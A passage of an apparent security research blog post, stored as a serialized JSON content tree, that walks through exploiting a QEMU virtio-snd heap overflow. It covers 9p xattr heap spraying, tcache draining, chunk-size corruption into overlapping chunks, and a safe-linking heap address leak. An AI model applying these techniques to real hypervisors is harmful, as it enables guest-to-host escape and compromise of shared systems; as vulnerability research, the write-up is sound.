",{"type":24,"tag":90,"props":130161,"children":130162},{"style":120},[130163],{"type":29,"value":5491},{"type":24,"tag":90,"props":130165,"children":130166},{"style":120},[130167],{"type":29,"value":53079},{"type":24,"tag":90,"props":130169,"children":130170},{"style":114},[130171],{"type":29,"value":130172},"E2BIG;\n",{"type":24,"tag":90,"props":130174,"children":130175},{"class":92,"line":799},[130176,130180],{"type":24,"tag":90,"props":130177,"children":130178},{"style":636},[130179],{"type":29,"value":130098},{"type":24,"tag":90,"props":130181,"children":130182},{"style":114},[130183],{"type":29,"value":130103},{"type":24,"tag":90,"props":130185,"children":130186},{"class":92,"line":807},[130187],{"type":24,"tag":90,"props":130188,"children":130189},{"style":114},[130190],{"type":29,"value":612},{"type":24,"tag":90,"props":130192,"children":130193},{"class":92,"line":821},[130194],{"type":24,"tag":90,"props":130195,"children":130196},{"emptyLinePlaceholder":16},[130197],{"type":29,"value":245},{"type":24,"tag":90,"props":130199,"children":130200},{"class":92,"line":6278},[130201],{"type":24,"tag":90,"props":130202,"children":130203},{"style":114},[130204],{"type":29,"value":106631},{"type":24,"tag":90,"props":130206,"children":130207},{"class":92,"line":11420},[130208],{"type":24,"tag":90,"props":130209,"children":130210},{"emptyLinePlaceholder":16},[130211],{"type":29,"value":245},{"type":24,"tag":90,"props":130213,"children":130214},{"class":92,"line":11438},[130215,130219,130223,130227,130232,130236,130240,130244,130249,130253,130257],{"type":24,"tag":90,"props":130216,"children":130217},{"style":108},[130218],{"type":29,"value":129987},{"type":24,"tag":90,"props":130220,"children":130221},{"style":114},[130222],{"type":29,"value":117},{"type":24,"tag":90,"props":130224,"children":130225},{"style":120},[130226],{"type":29,"value":123},{"type":24,"tag":90,"props":130228,"children":130229},{"style":136},[130230],{"type":29,"value":130231},"xattr_fidp",{"type":24,"tag":90,"props":130233,"children":130234},{"style":114},[130235],{"type":29,"value":177},{"type":24,"tag":90,"props":130237,"children":130238},{"style":136},[130239],{"type":29,"value":38798},{"type":24,"tag":90,"props":130241,"children":130242},{"style":114},[130243],{"type":29,"value":226},{"type":24,"tag":90,"props":130245,"children":130246},{"style":136},[130247],{"type":29,"value":130248},"xattr",{"type":24,"tag":90,"props":130250,"children":130251},{"style":114},[130252],{"type":29,"value":226},{"type":24,"tag":90,"props":130254,"children":130255},{"style":136},[130256],{"type":29,"value":50321},{"type":24,"tag":90,"props":130258,"children":130259},{"style":114},[130260],{"type":29,"value":571},{"type":24,"tag":90,"props":130262,"children":130263},{"class":92,"line":11483},[130264,130269,130273,130277,130281,130285,130289,130293,130297,130301,130305,130309,130313],{"type":24,"tag":90,"props":130265,"children":130266},{"style":108},[130267],{"type":29,"value":130268}," v9fs_string_copy",{"type":24,"tag":90,"props":130270,"children":130271},{"style":114},[130272],{"type":29,"value":117},{"type":24,"tag":90,"props":130274,"children":130275},{"style":120},[130276],{"type":29,"value":123},{"type":24,"tag":90,"props":130278,"children":130279},{"style":136},[130280],{"type":29,"value":130231},{"type":24,"tag":90,"props":130282,"children":130283},{"style":114},[130284],{"type":29,"value":177},{"type":24,"tag":90,"props":130286,"children":130287},{"style":136},[130288],{"type":29,"value":38798},{"type":24,"tag":90,"props":130290,"children":130291},{"style":114},[130292],{"type":29,"value":226},{"type":24,"tag":90,"props":130294,"children":130295},{"style":136},[130296],{"type":29,"value":130248},{"type":24,"tag":90,"props":130298,"children":130299},{"style":114},[130300],{"type":29,"value":226},{"type":24,"tag":90,"props":130302,"children":130303},{"style":136},[130304],{"type":29,"value":50321},{"type":24,"tag":90,"props":130306,"children":130307},{"style":114},[130308],{"type":29,"value":133},{"type":24,"tag":90,"props":130310,"children":130311},{"style":120},[130312],{"type":29,"value":123},{"type":24,"tag":90,"props":130314,"children":130315},{"style":114},[130316],{"type":29,"value":130000},{"type":24,"tag":90,"props":130318,"children":130319},{"class":92,"line":11589},[130320,130325,130329,130333,130337,130341,130345,130349,130353,130357],{"type":24,"tag":90,"props":130321,"children":130322},{"style":136},[130323],{"type":29,"value":130324}," xattr_fidp",{"type":24,"tag":90,"props":130326,"children":130327},{"style":114},[130328],{"type":29,"value":177},{"type":24,"tag":90,"props":130330,"children":130331},{"style":136},[130332],{"type":29,"value":38798},{"type":24,"tag":90,"props":130334,"children":130335},{"style":114},[130336],{"type":29,"value":226},{"type":24,"tag":90,"props":130338,"children":130339},{"style":136},[130340],{"type":29,"value":130248},{"type":24,"tag":90,"props":130342,"children":130343},{"style":114},[130344],{"type":29,"value":226},{"type":24,"tag":90,"props":130346,"children":130347},{"style":136},[130348],{"type":29,"value":40968},{"type":24,"tag":90,"props":130350,"children":130351},{"style":120},[130352],{"type":29,"value":216},{"type":24,"tag":90,"props":130354,"children":130355},{"style":108},[130356],{"type":29,"value":126003},{"type":24,"tag":90,"props":130358,"children":130359},{"style":114},[130360],{"type":29,"value":130361},"(size);\n",{"type":24,"tag":90,"props":130363,"children":130364},{"class":92,"line":25306},[130365],{"type":24,"tag":90,"props":130366,"children":130367},{"style":114},[130368],{"type":29,"value":827},{"type":24,"tag":25,"props":130370,"children":130371},{},[130372,130374,130379,130381,130386,130387,130392,130394,130399],{"type":29,"value":130373},"Because the ",{"type":24,"tag":32,"props":130375,"children":130377},{"className":130376},[],[130378],{"type":29,"value":129735},{"type":29,"value":130380}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":32,"props":130382,"children":130384},{"className":130383},[],[130385],{"type":29,"value":129735},{"type":29,"value":13360},{"type":24,"tag":32,"props":130388,"children":130390},{"className":130389},[],[130391],{"type":29,"value":129742},{"type":29,"value":130393},", not just the ",{"type":24,"tag":32,"props":130395,"children":130397},{"className":130396},[],[130398],{"type":29,"value":129742},{"type":29,"value":130400}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":25,"props":130402,"children":130403},{},[130404,130405,130410],{"type":29,"value":3131},{"type":24,"tag":32,"props":130406,"children":130408},{"className":130407},[],[130409],{"type":29,"value":129742},{"type":29,"value":130411}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":24,"tag":25,"props":130413,"children":130414},{},[130415,130417,130422,130424,130430,130432,130438,130440,130446],{"type":29,"value":130416},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":32,"props":130418,"children":130420},{"className":130419},[],[130421],{"type":29,"value":129742},{"type":29,"value":130423}," buffer through a ",{"type":24,"tag":32,"props":130425,"children":130427},{"className":130426},[],[130428],{"type":29,"value":130429},"P9_TWRITE",{"type":29,"value":130431}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":32,"props":130433,"children":130435},{"className":130434},[],[130436],{"type":29,"value":130437},"P9_TREAD",{"type":29,"value":130439},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":32,"props":130441,"children":130443},{"className":130442},[],[130444],{"type":29,"value":130445},"P9_TCLUNK",{"type":29,"value":130447}," request on that same FID.",{"type":24,"tag":25,"props":130449,"children":130450},{},[130451,130453,130459],{"type":29,"value":130452},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":32,"props":130454,"children":130456},{"className":130455},[],[130457],{"type":29,"value":130458},"65536",{"type":29,"value":130460}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":1019,"props":130462,"children":130464},{"id":130463},"setting-the-heap-layout",[130465],{"type":29,"value":130466},"Setting the Heap Layout",{"type":24,"tag":25,"props":130468,"children":130469},{},[130470,130472,130477],{"type":29,"value":130471},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":32,"props":130473,"children":130475},{"className":130474},[],[130476],{"type":29,"value":129742},{"type":29,"value":130478}," allocations, like this:",{"type":24,"tag":80,"props":130480,"children":130482},{"code":130481}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[130483],{"type":24,"tag":32,"props":130484,"children":130485},{"__ignoreMap":7},[130486],{"type":29,"value":130481},{"type":24,"tag":25,"props":130488,"children":130489},{},[130490,130492,130497,130499,130504,130506,130511],{"type":29,"value":130491},"This lets us later create holes by freeing every other ",{"type":24,"tag":32,"props":130493,"children":130495},{"className":130494},[],[130496],{"type":29,"value":129742},{"type":29,"value":130498}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":32,"props":130500,"children":130502},{"className":130501},[],[130503],{"type":29,"value":126090},{"type":29,"value":130505}," field of the next live ",{"type":24,"tag":32,"props":130507,"children":130509},{"className":130508},[],[130510],{"type":29,"value":129742},{"type":29,"value":130512}," chunk.",{"type":24,"tag":25,"props":130514,"children":130515},{},[130516],{"type":29,"value":130517},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":25,"props":130519,"children":130520},{},[130521,130523,130528,130530,130535,130537,130542,130544,130549],{"type":29,"value":130522},"As mentioned earlier, ",{"type":24,"tag":32,"props":130524,"children":130526},{"className":130525},[],[130527],{"type":29,"value":129779},{"type":29,"value":130529}," always allocates two chunks: one for ",{"type":24,"tag":32,"props":130531,"children":130533},{"className":130532},[],[130534],{"type":29,"value":129735},{"type":29,"value":130536}," and one for ",{"type":24,"tag":32,"props":130538,"children":130540},{"className":130539},[],[130541],{"type":29,"value":129742},{"type":29,"value":130543},". We want to avoid having ",{"type":24,"tag":32,"props":130545,"children":130547},{"className":130546},[],[130548],{"type":29,"value":129735},{"type":29,"value":130550}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":3100,"props":130552,"children":130553},{},[130554,130566],{"type":24,"tag":3104,"props":130555,"children":130556},{},[130557,130559,130564],{"type":29,"value":130558},"Make ",{"type":24,"tag":32,"props":130560,"children":130562},{"className":130561},[],[130563],{"type":29,"value":129735},{"type":29,"value":130565}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":3104,"props":130567,"children":130568},{},[130569,130571,130576,130578,130583,130585,130590],{"type":29,"value":130570},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":32,"props":130572,"children":130574},{"className":130573},[],[130575],{"type":29,"value":129735},{"type":29,"value":130577},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":24,"tag":32,"props":130579,"children":130581},{"className":130580},[],[130582],{"type":29,"value":129735},{"type":29,"value":130584}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":32,"props":130586,"children":130588},{"className":130587},[],[130589],{"type":29,"value":129742},{"type":29,"value":130591}," chunks.",{"type":24,"tag":20686,"props":130593,"children":130595},{"id":130594},"separating-name-allocations",[130596],{"type":29,"value":130597},"Separating .name allocations",{"type":24,"tag":25,"props":130599,"children":130600},{},[130601,130603,130608,130610,130615],{"type":29,"value":130602},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":32,"props":130604,"children":130606},{"className":130605},[],[130607],{"type":29,"value":129779},{"type":29,"value":130609}," for N ",{"type":24,"tag":32,"props":130611,"children":130613},{"className":130612},[],[130614],{"type":29,"value":129735},{"type":29,"value":130616},"-sized allocations and then freeing them.",{"type":24,"tag":25,"props":130618,"children":130619},{},[130620,130622,130627,130628,130633,130634,130639,130641,130646,130648,130653],{"type":29,"value":130621},"At this point, we already know that ",{"type":24,"tag":32,"props":130623,"children":130625},{"className":130624},[],[130626],{"type":29,"value":129779},{"type":29,"value":130529},{"type":24,"tag":32,"props":130629,"children":130631},{"className":130630},[],[130632],{"type":29,"value":129735},{"type":29,"value":130536},{"type":24,"tag":32,"props":130635,"children":130637},{"className":130636},[],[130638],{"type":29,"value":129742},{"type":29,"value":130640},". If we simply call it with ",{"type":24,"tag":32,"props":130642,"children":130644},{"className":130643},[],[130645],{"type":29,"value":129742},{"type":29,"value":130647}," sized the same as ",{"type":24,"tag":32,"props":130649,"children":130651},{"className":130650},[],[130652],{"type":29,"value":129735},{"type":29,"value":130654},", we get a layout like this:",{"type":24,"tag":80,"props":130656,"children":130658},{"code":130657}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[130659],{"type":24,"tag":32,"props":130660,"children":130661},{"__ignoreMap":7},[130662],{"type":29,"value":130657},{"type":24,"tag":25,"props":130664,"children":130665},{},[130666,130668,130673,130675,130681,130683,130689,130691,130696,130698,130703,130705,130710],{"type":29,"value":130667},"With that heap state, issuing a ",{"type":24,"tag":32,"props":130669,"children":130671},{"className":130670},[],[130672],{"type":29,"value":130445},{"type":29,"value":130674}," request would first free ",{"type":24,"tag":32,"props":130676,"children":130678},{"className":130677},[],[130679],{"type":29,"value":130680},".name A",{"type":29,"value":130682}," and then ",{"type":24,"tag":32,"props":130684,"children":130686},{"className":130685},[],[130687],{"type":29,"value":130688},".value A",{"type":29,"value":130690},". When ",{"type":24,"tag":32,"props":130692,"children":130694},{"className":130693},[],[130695],{"type":29,"value":130688},{"type":29,"value":130697}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":32,"props":130699,"children":130701},{"className":130700},[],[130702],{"type":29,"value":130680},{"type":29,"value":130704}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":32,"props":130706,"children":130708},{"className":130707},[],[130709],{"type":29,"value":129735},{"type":29,"value":130711},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":25,"props":130713,"children":130714},{},[130715],{"type":29,"value":130716},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":25,"props":130718,"children":130719},{},[130720,130722,130727,130729,130734,130736,130741,130743,130749,130751,130756,130758,130764],{"type":29,"value":130721},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":32,"props":130723,"children":130725},{"className":130724},[],[130726],{"type":29,"value":129735},{"type":29,"value":130728}," allocation remains fixed at size ",{"type":24,"tag":32,"props":130730,"children":130732},{"className":130731},[],[130733],{"type":29,"value":106897},{"type":29,"value":130735},". We first allocate 16 xattrs whose ",{"type":24,"tag":32,"props":130737,"children":130739},{"className":130738},[],[130740],{"type":29,"value":129742},{"type":29,"value":130742}," size is ",{"type":24,"tag":32,"props":130744,"children":130746},{"className":130745},[],[130747],{"type":29,"value":130748},"0x30",{"type":29,"value":130750},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":32,"props":130752,"children":130754},{"className":130753},[],[130755],{"type":29,"value":129742},{"type":29,"value":130757}," size ",{"type":24,"tag":32,"props":130759,"children":130761},{"className":130760},[],[130762],{"type":29,"value":130763},"0x40",{"type":29,"value":130765},", and continue in the same way for each tcache size class.",{"type":24,"tag":25,"props":130767,"children":130768},{},[130769],{"type":29,"value":130770},"This yields the following layout:",{"type":24,"tag":80,"props":130772,"children":130774},{"code":130773}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[130775],{"type":24,"tag":32,"props":130776,"children":130777},{"__ignoreMap":7},[130778],{"type":29,"value":130773},{"type":24,"tag":25,"props":130780,"children":130781},{},[130782,130784,130789,130791,130796,130798,130803,130805,130810,130812,130817,130819,130824,130825,130830,130832,130837,130839,130844,130846,130851,130853,130858,130860,130865],{"type":29,"value":130783},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":32,"props":130785,"children":130787},{"className":130786},[],[130788],{"type":29,"value":129735},{"type":29,"value":130790}," chunks end up in the ",{"type":24,"tag":32,"props":130792,"children":130794},{"className":130793},[],[130795],{"type":29,"value":106897},{"type":29,"value":130797}," tcache bin, along with the interleaved ",{"type":24,"tag":32,"props":130799,"children":130801},{"className":130800},[],[130802],{"type":29,"value":129742},{"type":29,"value":130804}," chunks of size ",{"type":24,"tag":32,"props":130806,"children":130808},{"className":130807},[],[130809],{"type":29,"value":130748},{"type":29,"value":130811},". The next 16 ",{"type":24,"tag":32,"props":130813,"children":130815},{"className":130814},[],[130816],{"type":29,"value":129735},{"type":29,"value":130818}," chunks are interleaved with ",{"type":24,"tag":32,"props":130820,"children":130822},{"className":130821},[],[130823],{"type":29,"value":129742},{"type":29,"value":130804},{"type":24,"tag":32,"props":130826,"children":130828},{"className":130827},[],[130829],{"type":29,"value":130763},{"type":29,"value":130831},"; when freed, those ",{"type":24,"tag":32,"props":130833,"children":130835},{"className":130834},[],[130836],{"type":29,"value":129742},{"type":29,"value":130838}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":32,"props":130840,"children":130842},{"className":130841},[],[130843],{"type":29,"value":129735},{"type":29,"value":130845}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":24,"tag":32,"props":130847,"children":130849},{"className":130848},[],[130850],{"type":29,"value":129735},{"type":29,"value":130852},"-sized chunks that will later be served to the ",{"type":24,"tag":32,"props":130854,"children":130856},{"className":130855},[],[130857],{"type":29,"value":129735},{"type":29,"value":130859}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":32,"props":130861,"children":130863},{"className":130862},[],[130864],{"type":29,"value":129742},{"type":29,"value":130591},{"type":24,"tag":1019,"props":130867,"children":130869},{"id":130868},"corrupting-the-size",[130870],{"type":29,"value":130871},"Corrupting the Size",{"type":24,"tag":25,"props":130873,"children":130874},{},[130875,130877,130882,130884,130889,130891,130896,130898,130903,130904,130909],{"type":29,"value":130876},"The input format is guest-controlled, and we choose ",{"type":24,"tag":32,"props":130878,"children":130880},{"className":130879},[],[130881],{"type":29,"value":1409},{"type":29,"value":130883}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":32,"props":130885,"children":130887},{"className":130886},[],[130888],{"type":29,"value":1409},{"type":29,"value":130890}," is centered at ",{"type":24,"tag":32,"props":130892,"children":130894},{"className":130893},[],[130895],{"type":29,"value":31251},{"type":29,"value":130897}," (rather than ",{"type":24,"tag":32,"props":130899,"children":130901},{"className":130900},[],[130902],{"type":29,"value":127997},{"type":29,"value":127984},{"type":24,"tag":32,"props":130905,"children":130907},{"className":130906},[],[130908],{"type":29,"value":127975},{"type":29,"value":130910},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":25,"props":130912,"children":130913},{},[130914,130916,130921],{"type":29,"value":130915},"As we already concluded, ",{"type":24,"tag":32,"props":130917,"children":130919},{"className":130918},[],[130920],{"type":29,"value":127440},{"type":29,"value":130922}," is called with the amount:",{"type":24,"tag":80,"props":130924,"children":130926},{"code":130925},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[130927],{"type":24,"tag":32,"props":130928,"children":130929},{"__ignoreMap":7},[130930],{"type":29,"value":130925},{"type":24,"tag":25,"props":130932,"children":130933},{},[130934,130936,130941,130943,130948],{"type":29,"value":130935},"And as mentioned earlier, ",{"type":24,"tag":32,"props":130937,"children":130939},{"className":130938},[],[130940],{"type":29,"value":127471},{"type":29,"value":130942}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":32,"props":130944,"children":130946},{"className":130945},[],[130947],{"type":29,"value":126090},{"type":29,"value":60151},{"type":24,"tag":25,"props":130950,"children":130951},{},[130952,130954,130959,130961,130966],{"type":29,"value":130953},"With the desired heap layout of repeated ",{"type":24,"tag":32,"props":130955,"children":130957},{"className":130956},[],[130958],{"type":29,"value":129644},{"type":29,"value":130960},"-sized ",{"type":24,"tag":32,"props":130962,"children":130964},{"className":130963},[],[130965],{"type":29,"value":129742},{"type":29,"value":130967}," chunks in place, we can then free every other one:",{"type":24,"tag":80,"props":130969,"children":130971},{"code":130970}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[130972],{"type":24,"tag":32,"props":130973,"children":130974},{"__ignoreMap":7},[130975],{"type":29,"value":130970},{"type":24,"tag":25,"props":130977,"children":130978},{},[130979,130981,130986],{"type":29,"value":130980},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":32,"props":130982,"children":130984},{"className":130983},[],[130985],{"type":29,"value":129742},{"type":29,"value":130987}," chunk directly next to it:",{"type":24,"tag":80,"props":130989,"children":130991},{"code":130990}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[130992],{"type":24,"tag":32,"props":130993,"children":130994},{"__ignoreMap":7},[130995],{"type":29,"value":130990},{"type":24,"tag":25,"props":130997,"children":130998},{},[130999,131001,131006,131008,131013],{"type":29,"value":131000},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":32,"props":131002,"children":131004},{"className":131003},[],[131005],{"type":29,"value":129644},{"type":29,"value":131007},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":32,"props":131009,"children":131011},{"className":131010},[],[131012],{"type":29,"value":129742},{"type":29,"value":131014}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":80,"props":131016,"children":131018},{"code":131017}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[131019],{"type":24,"tag":32,"props":131020,"children":131021},{"__ignoreMap":7},[131022],{"type":29,"value":131017},{"type":24,"tag":25,"props":131024,"children":131025},{},[131026,131028,131033],{"type":29,"value":131027},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":32,"props":131029,"children":131031},{"className":131030},[],[131032],{"type":29,"value":129659},{"type":29,"value":78},{"type":24,"tag":80,"props":131035,"children":131037},{"code":131036}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[131038],{"type":24,"tag":32,"props":131039,"children":131040},{"__ignoreMap":7},[131041],{"type":29,"value":131036},{"type":24,"tag":25,"props":131043,"children":131044},{},[131045,131047,131052],{"type":29,"value":131046},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":32,"props":131048,"children":131050},{"className":131049},[],[131051],{"type":29,"value":129659},{"type":29,"value":22538},{"type":24,"tag":80,"props":131054,"children":131056},{"code":131055}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[131057],{"type":24,"tag":32,"props":131058,"children":131059},{"__ignoreMap":7},[131060],{"type":29,"value":131055},{"type":24,"tag":25,"props":131062,"children":131063},{},[131064,131066,131072],{"type":29,"value":131065},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":32,"props":131067,"children":131069},{"className":131068},[],[131070],{"type":29,"value":131071},"0x400",{"type":29,"value":131073}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":80,"props":131075,"children":131077},{"code":131076}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[131078],{"type":24,"tag":32,"props":131079,"children":131080},{"__ignoreMap":7},[131081],{"type":29,"value":131076},{"type":24,"tag":1019,"props":131083,"children":131085},{"id":131084},"leaking-a-heap-address",[131086],{"type":29,"value":131087},"Leaking a Heap Address",{"type":24,"tag":25,"props":131089,"children":131090},{},[131091],{"type":29,"value":131092},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":25,"props":131094,"children":131095},{},[131096,131098,131104],{"type":29,"value":131097},"To do this, we abuse the forward (",{"type":24,"tag":32,"props":131099,"children":131101},{"className":131100},[],[131102],{"type":29,"value":131103},"fd",{"type":29,"value":131105},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":80,"props":131107,"children":131109},{"code":131108},"fd = next ^ (curr >> 12)\n",[131110],{"type":24,"tag":32,"props":131111,"children":131112},{"__ignoreMap":7},[131113],{"type":29,"value":131108},{"type":24,"tag":25,"props":131115,"children":131116},{},[131117,131119,131124,131125,131130],{"type":29,"value":131118},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":32,"props":131120,"children":131122},{"className":131121},[],[131123],{"type":29,"value":59390},{"type":29,"value":67},{"type":24,"tag":32,"props":131126,"children":131128},{"className":131127},[],[131129],{"type":29,"value":56320},{"type":29,"value":131131}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":80,"props":131133,"children":131135},{"code":131134},"fd = 0 ^ (curr >> 12)\n",[131136],{"type":24,"tag":32,"props":131137,"children":131138},{"__ignoreMap":7},[131139],{"type":29,"value":131134},{"type":24,"tag":25,"props":131141,"children":131142},{},[131143,131145,131150],{"type":29,"value":131144},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":32,"props":131146,"children":131148},{"className":131147},[],[131149],{"type":29,"value":131103},{"type":29,"value":131151}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":25,"props":131153,"children":131154},{},[131155],{"type":29,"value":131156},"In the overlap we achieved earlier:",{"type":24,"tag":80,"props":131158,"children":131160},{"code":131159}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[131161],{"type":24,"tag":32,"props":131162,"children":131163},{"__ignoreMap":7},[131164],{"type":29,"value":131159},{"type":24,"tag":25,"props":131166,"children":131167},{},[131168,131170,131176,131178,131184,131186,131192,131194,131199],{"type":29,"value":131169},"We first free ",{"type":24,"tag":32,"props":131171,"children":131173},{"className":131172},[],[131174],{"type":29,"value":131175},".value C",{"type":29,"value":131177}," into tcache and read its contents through the oversized ",{"type":24,"tag":32,"props":131179,"children":131181},{"className":131180},[],[131182],{"type":29,"value":131183},".value Y",{"type":29,"value":131185},". This gives us ",{"type":24,"tag":32,"props":131187,"children":131189},{"className":131188},[],[131190],{"type":29,"value":131191},".value C >> 12",{"type":29,"value":131193},". That is not yet the exact address of ",{"type":24,"tag":32,"props":131195,"children":131197},{"className":131196},[],[131198],{"type":29,"value":131175},{"type":29,"value":131200},", since the lower 12 bits are lost.",{"type":24,"tag":25,"props":131202,"children":131203},{},[131204,131206,131211,131213,131218,131220,131225,131227,131232],{"type":29,"value":131205},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":32,"props":131207,"children":131209},{"className":131208},[],[131210],{"type":29,"value":131175},{"type":29,"value":131212},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":32,"props":131214,"children":131216},{"className":131215},[],[131217],{"type":29,"value":131175},{"type":29,"value":131219}," again. This time, ",{"type":24,"tag":32,"props":131221,"children":131223},{"className":131222},[],[131224],{"type":29,"value":59390},{"type":29,"value":131226}," is no longer ",{"type":24,"tag":32,"props":131228,"children":131230},{"className":131229},[],[131231],{"type":29,"value":56320},{"type":29,"value":131233},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":80,"props":131235,"children":131236},{"code":131108},[131237],{"type":24,"tag":32,"props":131238,"children":131239},{"__ignoreMap":7},[131240],{"type":29,"value":131108},{"type":24,"tag":25,"props":131242,"children":131243},{},[131244,131246,131252,131254,131259,131261,131266,131268,131273],{"type":29,"value":131245},"Since we already know ",{"type":24,"tag":32,"props":131247,"children":131249},{"className":131248},[],[131250],{"type":29,"value":131251},"curr >> 12",{"type":29,"value":131253}," from the first leak, we can read the new ",{"type":24,"tag":32,"props":131255,"children":131257},{"className":131256},[],[131258],{"type":29,"value":131103},{"type":29,"value":131260}," value from 